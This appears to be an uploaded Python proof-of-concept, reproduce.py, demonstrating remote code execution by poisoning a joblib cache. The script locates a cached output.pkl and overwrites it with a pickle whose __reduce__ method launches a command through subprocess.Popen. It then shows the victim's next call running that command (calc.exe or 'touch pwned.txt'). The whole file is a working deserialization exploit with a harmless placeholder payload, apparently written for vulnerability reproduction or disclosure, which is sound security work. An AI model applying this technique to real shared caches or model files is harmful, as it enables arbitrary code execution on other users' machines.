Upload reproduce.py
Browse files- reproduce.py +58 -0
reproduce.py
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import os
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import glob
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import joblib
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import subprocess
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import platform
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from joblib import Memory
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# 1. SETUP - Victim's Environment
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CACHE_DIR = "persistent_ml_cache"
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mem = Memory(CACHE_DIR, verbose=0)
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@mem.cache
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def get_sensitive_data(query_id):
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"""A normal function that a researcher might use."""
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print(f"[*] Processing query: {query_id}")
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return {"status": "secure", "data": "top-secret-info"}
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# 2. VICTIM'S INITIAL ACTION
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print("[Victim] Initializing secure process...")
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get_sensitive_data(101)
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print("[Victim] Process complete. Result cached.\n")
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# ---------------------------------------------------------
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# 3. ATTACKER'S ACTION (The Poisoning)
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# ---------------------------------------------------------
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print("[Attacker] Searching for Joblib cache files to poison...")
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# Search for the output.pkl file dynamically
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pattern = os.path.join(CACHE_DIR, "joblib", "**", "get_sensitive_data", "**", "output.pkl")
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cache_files = glob.glob(pattern, recursive=True)
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class ExploitPayload:
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def __reduce__(self):
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# Cross-platform command: Opens calculator on Windows, creates a file on Linux
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if platform.system() == "Windows":
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command = ['calc.exe']
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else:
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# For Linux/Mac: Creates a 'pwned.txt' file in the current directory
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command = ['touch', 'pwned.txt']
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return (subprocess.Popen, (command,))
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if cache_files:
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for target in cache_files:
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print(f"[Attacker] Found target: {target}")
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joblib.dump(ExploitPayload(), target)
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print("[Attacker] Cache poisoned successfully!\n")
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else:
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print("[Attacker] Error: No cache files found. Run Step 2 first.\n")
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# ---------------------------------------------------------
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# 4. THE EXPLOIT - Victim's Second Action
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# ---------------------------------------------------------
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print("[Victim] Running the same process again...")
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# Triggering the RCE
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result = get_sensitive_data(101)
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print("[Victim] Received result:", result)
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print("[*] RCE Confirmed! (Calculator opened or 'pwned.txt' created)")
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